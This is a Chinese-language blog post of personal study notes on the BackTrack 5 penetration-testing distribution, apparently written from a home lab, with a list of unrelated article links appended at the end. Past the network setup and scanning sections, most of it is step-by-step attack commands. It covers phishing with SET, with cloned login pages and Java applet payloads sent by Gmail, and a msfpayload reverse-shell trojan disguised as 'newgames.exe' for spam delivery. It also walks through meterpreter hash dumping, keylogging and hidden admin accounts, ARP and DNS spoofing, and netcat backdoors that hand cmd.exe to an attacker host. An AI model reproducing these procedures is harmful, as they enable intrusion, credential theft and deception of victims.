Back Track5学习笔记
1.BT5默认用户名:root.密码:toor(公司是yeslabccies)
2.进入图形化界面命令:startx
3.更改密码:sudo passwd root
扫描工具
第一部分网络配置:
4.网络配置文件有两个:
/etc/network/interfaces 和 /etc/resolv.conf
前一个存放网卡接口、IP、子网掩码等,后一个主要是存放DNS。
5.查看IP信息:ifconfig
6.更改IP :ifconfig eth2 192.168.8.168 netmask 255.255.255.0
注意:我更改IP后无法上网,这时候改回IP也上不了,这时候应该用第12和11的命令,初始化网卡。
7.添加网关: route add default gw 192.168.8.1
8.查看默认路由:route –n
9.显示内核IP路由表:netstat –r(更多命令查看netstat -h)
10.为临时网络配置信息加DNS设置可以修改/etc/resolv.conf:
Nameserver 8.8.8.8(google的一个DNS服务器)
11.清空一个网卡接口的所有IP配置信息:
Ip addr flush eth0
12.启用网卡:sudo ifup eth0
13.关闭网卡:sudo ifdown eth0
14.动态IP地址分配(DHCP Client)修改/etc/network/interfaces文件如下:
1 |
auto eth0 |
通过以上配置网卡后,你可以手动运行ifup命令来启用该网卡,该命令会通过dhclient来初始化DHCP进程。
1 |
sudo ifup eth0 |
要手动禁用某网卡,可以使用 ifdown 命令,它将启动DHCP释放进程然后关闭网卡接口。
1 |
sudo ifdown eth0 |
15.静态IP地址分配
同样是修改/etc/network/interfaces文件内容:
1 |
auto eth0 netmask 255.255.255.0 |
16.静态主机名
修改/etc/hosts文件内容:
下面是一个例子:
从左到右分别是IP 简洁的主机名别名相应的 FQDN ( Fully Qualified Domain Names )
127.0.0.1 localhost
第二部分主机发现:
1. 使用arping判断局域网相邻主机是否存活:
arping –c 3 192.168.8.155(-c次数)
2. 使用fping快速:
fping –f ip.txt (ip.txt每一行存一IP)
fping –s –r l –g 192.168.8.1 192.168.8.255 (扫描两个IP之间的所有IP)
3. genlist获取使用清单,通过ping探针的响应
genlist –s 192.168.1.\* (扫描整个网段的存活主机)
4. hping3,可以分割发送包
hping3 –c 2 192.168.8.8
5. nbtscan扫描WINDOWS网络显示IP,主机名,用户名称和MAC地址等等
nbtscan –r 192.168.8.1/24 (扫描整个网段)
nbtscan 192.168.8.1-255 (同上)
6. nping支持tcp,udp,icmp等
nping -c 1 --tcp -p 80 --flags syn 192.168.8.34
nping -c 1 --udp -p 80 192.168.8.34
7. onesixtyone,用于找出SNMP Community字串
./onesixtyone -c dict.txt 192.168.8.34
8.protos主要用来扫描特定主机上所支持的协议:
/pentest/enumeration/irpas#./protos -i eth1 -d 10.1.1.2 –v
-v 显示结果的意思
第三部分操作系统指纹:
1. p0f
2. xprobe2
xprobe2 192.168.8.34
第四部分端口扫描:
1. AutoScan
图形化网络扫描工具,能够发现网络中的活动主机
2. Netifera
可实现网络探测和抓包功能(局域网抓包)
3. Nmap
主机发现 nmap -v -n -sP 192.168.8.0/24
系统查询nmap -v -n -A 192.168.8.34
-v 把整个扫描结果显示出来
-n 不做DNS解析
-sP 列出当前网络那些主机在线
-A 综合扫描,使操作系统检测,版本检测、脚本扫描
第五部分服务探测
1. amap 指明端口探测
amap –bq 192.168.8.34 80
2. httprint指纹识别
./httprint -h 192.168.8.34 -s signatures.txt
漏洞发现
第一部分Cisco工具
1. CAT安全审计工具,扫描Cissco路由器的一般性漏洞
./CAT -h 192.168.8.254 -w lists/community -a lists/passwords
2. Cisco Passwd Scanner, 用于发现拥有默认telnet密码“Cisco”的Cisco设备
./ciscos 192.168.8.1 3 -t 4 -C 10
第二部SNM扫描工具
1. ADMSnmp, ADMSnmp用于暴力PJSNMP community字串,使用预先定义的“wordlist”
./ADMsnmp 192.168.8.34 -wordf snmp.passwd
2. Snmp Enum在获得community后,可以使用snmp enum获取大量关于Cisco,windows和linux的信息
./snmpenum.pl 192.168.8.34 private cisco.txt
第三部分HTTP工具
1. Burp Suite分析和攻击web运用
java -jar burpsuite_v1.4.jar
Proxy 代理端口可以编辑 intruder 选项卡选择intruder on 即开启代理端口为8080 更改浏览器的连接设置就可用此代理
2. Grendel Scan 网页漏洞扫描工具
/pentest/web/grendel-scan# ./grendel.sh
3. Nikto2 安全漏洞扫描工具
/pentest/web/nikto# ./nikto.pl -h jw.nwpu.edu.cn -C -p 80 -T 3478b -t 3 -D \ V -o webtest -F htm
其中 webtest里存放的扫描结果
4. w3af 特性丰富的web运用攻击和审计的框架,他协助检测和攻击
/pentest/web/w3af# ./w3af_console
参数配置
w3af>>>plugins(插件设置)
w3af/plugins>>>help
w3af/plugins>>>output console,htmlFile(插件输出设置)
w3af/plugins>>>output config htmlFile(插件文件格式设置)
w3af/plugins/output/config:htmlFile>>>set verbose True(冗余模式打开)
w3af/plugins/output/config:htmlFile>>>set fileName testreport.html(输出文件名)
w3af/plugins/output/config:htmlFile>>>back
w3af/plugins>>>output config console(插件模块设置)
w3af/plugins/output/config:console>>>set verbose False
w3af/plugins/output/config:console>>>back
w3af/plugins>>>audit htaccessMethods , osCommanding , sqli , xss(加载各种脚本)
w3af/plugins>>>back
w3af>>>target(目标地址设置)
w3af/config:target>>>set target http://xx.xx.xx.xx/
w3af/config:target>>>back
w3af>>>start(开始攻击)
5. WAFW00F 探测WAF(运用层防火墙)的工具,会返回在这个之前有什么运用级防火墙是哪个厂商的
/pentest/web/waffit# ./wafw00f.py http://www.baidu.com
6. Samrdump
/pentest/python/impacket-examples# ./samrdump.py administrator:cisco@192.168.8.254 445/SMB
第五部分综合漏洞发现工具Nessus
开启服务
/etc/init.d/nessusd start
打开https://localhost:8834/
用户名:cisco 密码:cisco
社会工程学工具SET
第一部分:Java Applet Attack Method(利用java的病毒攻击)
第二部分:Credential Harvester Attack Method(收集个人信息)
1. SET是一个高级的,多功能的,并且易于使用的计算机社会工程学工具集
/pentest/exploits/set/config# vi set_config (查看配置信息)
METASPLOIT_PATH=/pentest/exploits/framework3(MSF漏洞利用攻击工具路径)
ETTERCAP=ON(一个网络欺骗工具功能是否开放)
ETTERCAP_PATH=/usr/share/ettercap
ETTERCAP_DNSIFF_INTERFACE=eth1(使用DNS欺骗的网络接口)
EMAIL_PROVIDER=GMAIL(发送垃圾邮件的提供商)
SELF_SIGNED_APPLET=ON(自签名插件)
JAVA_ID_PARAM=Secure Java Applet(签名时候是哪个厂商产生的,后面这个名字写的靠谱点,让人相信会去点击)
命令
/pentest/exploits/set# ./set
然后set> 1
set> 2
set:webattack>1
set:webattack>2
set:payloads>2
set:encoding>16
set:phishing>1
set:phishing> Your gmail email address: :pythonisfun@gmail.com
Email password:
set:phishing> Flag this message/s as high priority? [yes|no]:yes
set:phishing> Email subject:Thank you! For your application.
set:phishing> Send the message as html or plain? 'h' or 'p' [p]:
set:phishing> Enter the body of the message, hit return for a new line. Control+c when finished:welcome to our sites:http://192.168.8.167
Next line of the body: ^C
以上做的是克隆百度的站点,通过自己的Gmail发送邮件给被攻击者,只要他人点击http://192.168.8.167,并加载运行那个java插件secure java applet就会中招。(在WIN7和2003上点击链接,并没有弹出secure java applet插件,也许是浏览器的安全设置弄的)
如果有人中招,按Ctrl+C终止。
msf exploit(handler) > sessions –i (查看中招的主机信息)
命令/pentest/exploits/set# ./set
然后set> 1
set> 2
set:webattack>3
set:webattack>2
set:mailer>1
Enter the url to clone:https://gmail.com
1--->发送给单一目标
Send Email To:1392688486@qq.com
1-->用gmail发送邮件攻击
Your Gmail email address:xxxxx@gmail.com
Email password:xxxxx
Flag this message/s as high priority?[yes|no]yes(是不是高优先标签)
Email subject:(Email的标题,考你的语文水平,欺骗他让他点你的站点)
Send the message as htmal or plain? 'h' or 'p' [p]:(发送文件是以什么格式)
Enter the body of the message, hit return for a new line,Control+c when finished:(编写邮件的内容按Ctrl+C来结束)
这个只要他人点击你给的链接(最好自己有一个域名),输入用户名和密码,我们就可以知道了
应用层攻击MSF
1. 启动msfconsole 命令:msfconsole
msf>hosts (查看扫描过的主机数据库)
msf>host –d (删除这个数据库里的内容 hosts –h可以知道hosts所有用法)
msf>services (存放扫描主机开启的服务的数据库)
msf>nmap –T Aggressive –sV –n –O –v 192.168.8.1/24 (扫描这个网段)
msf>load db_autopwn (没有db_autopwn这个模块,必须先下载,然后用命令cp db_autopwn.rb /opt/framework3/msf3/plugins/ 拷贝到此处,每次使用这个模块之前load db_autopwn)
msf>db_autopwn –p –t –e (从扫描的结果中自动攻击,-I后接指定IP)
msf>sessions –i (查看攻破的主机)
msf>session –i 1 (主机ID 1,连到这个主机)
meterpreter>run hashdump (获取账号hash值)
meterpreter>ps (查看控制主机的所有进程)
meterpreter>migrate 1576 (迁移到1576进程ID,获得管理员权限)
meterpreter>keyscan_start (监视主机键盘记录)
meterpreter>keyscan_dump (显示键盘记录)
meterpreter>keyscan_stop (停止)
meterpreter>run getgui –e (开启被控制主机的远程登录服务)
meterpreter>run getgui –u cisco –p cisco (向远程主机添加拥有管理员权限的账号:cisco 密码:cisco )
然后开启远程登录软件:rdesktop 192.168.8.34:3389(被控制主机IP,port),输入账号:cisco 密码:cisco
破解刚才获取的hash值得到管理员密码:
/pentest/passwords# ophcrack –g –d ~/tables_xp_free_small –t ~/tables_xp_free_small/ -f ~/sam-new-test.
其中tables_xp_free_small是字典,sam-new-test是刚才得到的hash值
离线攻击MSF
1. 制造离线攻击脚本
先创建一个反向连接TCP客户端(相当于木马),然后把这个.exe文件通过垃圾邮件发送给别人。/pentest/exploits/framework3# ./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.8.167 LPORT=33333 X > /tmp/newgames.exe (newgames.exe就是一个木马)
然后打开msfconsole. root@bt:~# msfconsole
建立服务器:msf > use exploit/multi/handler
建立负载,反向TCP:msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
设置服务器(我的就是自己的IP,和上面对应):msf exploit(handler) > set LHOST 192.168.8.167
设置端口(和上面对应):msf exploit(handler) > set LPORT 33333
服务器设置好之后,此时如果他人点击newgames.exe,就会自动连接我的服务器192.168.8.167。
接下来是得到进程列表,迁移到管理员权限,然后开启别人主机的远程登录服务
meterpreter > getuid
Server username: xyw-PC\xyw
meterpreter > ps
meterpreter > run getgui -u user -p passwd (向别人主机添加有管理员权限的用户名和密码)
然后在自己主机开启远程登录服务,连接到上当的主机IP(这里是192.168.8.154,第一张图里的最后有)
这些在上一篇里都有,WIN7可能连接不上,请关闭防火墙,反正192.168.8.154(WIN7系统)的远程登录服务已经开启了,并且它多了一个拥有管理员权限的用户user。
局域网攻击
1. MAC泛洪攻击
百科一下:MAC地址泛洪攻击:
1,2层交换机是基于MAC地址去转发数据帧的。
2,转发过程中依靠对CAM表的查询来确定正确的转发接口。
3,一旦在查询过程中无法找到相关目的MAC对应的条目,此数据帧将作为广播帧来处理。
4,CAM表的容量有限,只能储存不多的条目,当CAM表记录的MAC地址达到上限后,新的条目将不会添加到CAM表中。
ARP攻击:
比如别人限制您的网速,就称之为ARP攻击,就是针对你的IP地址进行控制。
DHCP欺骗:
1.DHCP是动态主机配置协议,主要用来让PC机自动获IP地址,子网掩码,默认网关等信息。
2.DHCP的发包方式为广播。
3.当有多个DHCP的回应时,使用最先到达的回应。
工具macof,命令:macof –i eth2 (通过eth2泛洪)
Dsniff抓包工具(获取敏感信息,用户名和密码)命令:dsniff –i eth2
2. Yersinia 图形化局域网攻击工具。
启动命令:root@bt:~# yersinia –G
3. Arpspoof
arp欺骗就是自己对要截获数据包的主机(如192.167.8.154)声称自己就是网关的地址(一般是网关地址,因为局域网内每个人都要通过网关发送或接收数据),然后在对网关(192.168.8.254)声称自己就是192.167.8.154,这样192.167.8.1544与192.168.8.254
之间通信的数据包每次都经过你,你就可以用抓包工具wireshark截获192.167.8.34的信息。
root@bt:~# arpspoof -i eth2 -t 192.168.8.154 192.168.8.254 (欺骗主机)
root@bt:~# arpspoof -i eth2 -t 192.168.8.254 192.168.8.154 (欺骗网关)
4. Ettercap图形化界面
启动命令:root@bt:~# ettercap -G
4.1 ARP欺骗
先点击Hosts>Scan for hosts,然后点击Hosts list得到局域网内存活的主机。
选中两个要进行arp欺骗的IP,一般是网关和一主机。
然后开启sniff,得到敏感信息(用户名和密码)。
这是百度用户名和密码,密码是加密了的。
4.2 DNS欺骗
和上面步骤差不多,dns欺骗模块在plugins里,点击plugins双击dns spoof
维持访问
1. DNS隧道技术
2. Ping隧道技术
3. SSL隧道技术
三个IP,一个是路由器IP 192.168.8.254,两个BT5 主机IP,192.168.8.167和192.168.8.176,其中192.168.8.167作为stunnel服务器,192.168.8.176作为客户端,只要连接到192.168.8.176的2323端口就会转到192.168.8.167的端口,只要连接到192.168.8.167的2323端口就会转到192.168.8.254,具体配置如下:
遇到的问题:复制一个BT5之后打开这个新的BT5不能上网,这是因为把原先的mac地址保存在缓存中,所以导致怎么重启网卡(sudo /etc/init.d/networking restart)都是不能启用。应该:
rm /etc/udev/rules.d/70-persistent-net.rules 后重启就行
服务器端配置文件:root@bt:~# cd /etc/stunnel/
vi stunnel.conf
创建临时文件夹 mkdir /var/run/stunnel
将connect 后的IP地址改成要访问的IP,(一般是网关)
启动stunnel. root@bt:~# stunnel /etc/stunnel/stunnel.conf
查看stunnel运行状态 netstat –nap|grep stunnel
客户端配置文件:
创建临时文件夹 mkdir /var/run/stunne
大多数步骤相同,除了把connect 后的IP地址改成上面服务器的IP,端口为232(connect=ip:2323),启动stunnel. root@bt:~# stunnel /etc/stunnel/stunnel.conf。可以在客户端上试一试:telnet 127.0.0.1 2323 (这会跳两次,而且通信加密连到网关)
3.proxy代理技术
4. Netcat
proxy代理技术
查看3proxy配置文件
代理主机IP:192.168.8.159 web服务器IP:192.168.8.167
root@bt:~# vi /pentest/backdoors/3proxy/cfg/3proxy.cfg
External(在局域网内外部接口这里用不到),internal(改成web服务器的IP,前提是你要在web服务器主机上(不是自己)配置好自己的web服务器,详见http://www.jb51.net/os/Ubuntu/43308.html)
然后启动3proxy:
root@bt:/pentest/backdoors/3proxy# ./3proxy cfg/3proxy.cfg
现在可以在其他主机上访问http://192.168.8.159/info.php他会自动转到http://192.168.8.167/info.php 和直接访问http://192.168.8.167/info.php的效果一样
注意http://192.168.8.159/info.php实际上不存在
Netcat
网络的瑞士军刀,功能强大,做后门的效果比较好
1.扫描主机端口是否开放
root@bt:~# nc -v -n -z 192.168.8.159 1-1024
连接到21端口开放的主机
root@bt:~# nc 192.168.8.159 21
2.做后门
2.1 受害者做服务器,当攻击者连接受害者的时候,受害者把自己的cmd.exe给攻击者,这种方法因为是攻击者连接受害者可能会遇到防火墙的封杀。
在WIN7下用nc做服务器的命令:C:\Users\xyw\Desktop>nc.exe -d -L -p 3333 -e cmd.exe (注意:我在网上下的一个nc.exe,放在桌面上,端口是3333)
然后再BT5下连接WIN7的ip加3333端口:root@bt:~# nc 192.168.8.151 3333,得到WIN7的cmd.exe控制权。
2.2 攻击者做服务器,等待受害者来连接,可以有效避免防火墙的拦截。
BT5做服务器:root@bt:~# nc -L -p 3333
WIN7做客户端:nc.exe –d 192.168.8.167 3333 –e cmd.exe
2.3 用来传文件
现在BT5下面root@bt:~# nc -l -u -p 53 > test.py,用udp 53(dns协议用的端口)端口来传文件可以防止防火墙封杀,把收到的文件命名为test.py(随便命名)。
在WIN7下:C:\Users\xyw\Desktop>nc.exe -u 192.168.8.167 53 < npu.py
(192.168.8.167 BT5 IP,192.168.8.151 WIN7 IP)
2.nc做中继站,和代理服务器差不多,当你连接中继的时候转到指定的IP,nc可以抓包
查看和修改配置文件root@bt:~# vi telnet_relay ( 主要修改IP,要跳到的IP)
启动:root@bt:~# nc -l -p 80 -e telnet_relay
然后其他主机:telnet IP(中继站IP)时跳转到指定IP。
Back Track5学习笔记的更多相关文章
- js学习笔记:webpack基础入门(一)
之前听说过webpack,今天想正式的接触一下,先跟着webpack的官方用户指南走: 在这里有: 如何安装webpack 如何使用webpack 如何使用loader 如何使用webpack的开发者 ...
- PHP-自定义模板-学习笔记
1. 开始 这几天,看了李炎恢老师的<PHP第二季度视频>中的“章节7:创建TPL自定义模板”,做一个学习笔记,通过绘制架构图.UML类图和思维导图,来对加深理解. 2. 整体架构图 ...
- PHP-会员登录与注册例子解析-学习笔记
1.开始 最近开始学习李炎恢老师的<PHP第二季度视频>中的“章节5:使用OOP注册会员”,做一个学习笔记,通过绘制基本页面流程和UML类图,来对加深理解. 2.基本页面流程 3.通过UM ...
- 2014年暑假c#学习笔记目录
2014年暑假c#学习笔记 一.C#编程基础 1. c#编程基础之枚举 2. c#编程基础之函数可变参数 3. c#编程基础之字符串基础 4. c#编程基础之字符串函数 5.c#编程基础之ref.ou ...
- JAVA GUI编程学习笔记目录
2014年暑假JAVA GUI编程学习笔记目录 1.JAVA之GUI编程概述 2.JAVA之GUI编程布局 3.JAVA之GUI编程Frame窗口 4.JAVA之GUI编程事件监听机制 5.JAVA之 ...
- seaJs学习笔记2 – seaJs组建库的使用
原文地址:seaJs学习笔记2 – seaJs组建库的使用 我觉得学习新东西并不是会使用它就够了的,会使用仅仅代表你看懂了,理解了,二不代表你深入了,彻悟了它的精髓. 所以不断的学习将是源源不断. 最 ...
- CSS学习笔记
CSS学习笔记 2016年12月15日整理 CSS基础 Chapter1 在console输入escape("宋体") ENTER 就会出现unicode编码 显示"%u ...
- HTML学习笔记
HTML学习笔记 2016年12月15日整理 Chapter1 URL(scheme://host.domain:port/path/filename) scheme: 定义因特网服务的类型,常见的为 ...
- DirectX Graphics Infrastructure(DXGI):最佳范例 学习笔记
今天要学习的这篇文章写的算是比较早的了,大概在DX11时代就写好了,当时龙书11版看得很潦草,并没有注意这篇文章,现在看12,觉得是跳不过去的一篇文章,地址如下: https://msdn.micro ...
随机推荐
- Windows 和 Linux 的文件名
Windows中文件名是区分大小写的,而Linux不区分. 在开发中,发现在Windows可以执行通过,在Linux可能由于文件名不一致而失败.
- NHibernate和Castle调试过程中,如何输出SQL的问题
首先,我在此需要强调的是,不管是Castle或者NHibernate输出SQL,都应该是属于NHibernate的技术,Castle的本身也是基于NHibernate开发的ORM框架 ...
- gitHub新项目的上传
github作为一个开源托管平台,除了有机会学习各位大神的开源项目,还能托管自己写的一些小Demo,作为github新进菜鸟,今天就整理下上传Demo所需的命令和操作步骤,防止我这谜一样的记忆力. 1 ...
- Python 控制台进度条的实现
进行爬虫等耗时的任务时,有时会想在控制台输出进度条,以显示当前任务进度.这里总结了两种方法. 方法1:使用tqdm模块 示例代码: from time import sleep from tqdm i ...
- Java程序运行在Docker等容器环境有哪些新问题
基本回答 一. 对于Java来说,Docker毕竟是一个较新的环境,其内存.CPU等资源限制是通过ControlGroup实现的.早期的JDK版本并不能识别这些限制,进而会导致一些基础问题. 1.如 ...
- EXTJS 下载
Extjs各版本的下载链接 Extjs的版本繁多,本文收集了Extjs各个版本的下载链接,包括官网和非官网的,以及各种汉化版api,欢迎大家下载分享. Extjs最新版下载链接:http://www. ...
- react-native 解决Could not find method android() for arguments问题
运行命令行:react-native run-android 报错 Error:(23, 0) Could not find method android() for arguments [****] ...
- CSS Display(显示)和Visibility(可见性)
CSS Display(显示)和Visibility(可见性) 一.简介 display属性设置一个元素应如何显示(隐藏不占用空间),visibility属性指定一个元素应可见还是隐藏(隐藏占用空间) ...
- CSS Link(链接)
CSS Link(链接) 不同的链接可以有不同的样式. 一.链接样式 链接的样式,可以用任何CSS属性(如颜色,字体,背景等). 特别的链接,可以有不同的样式,这取决于他们是什么状态. 这四个链接状态 ...
- Linux 软件看门狗 watchdog 喂狗
Linux 自带了一个 watchdog 的实现,用于监视系统的运行,包括一个内核 watchdog module 和一个用户空间的 watchdog程序.内核 watchdog 模块通过 /dev/ ...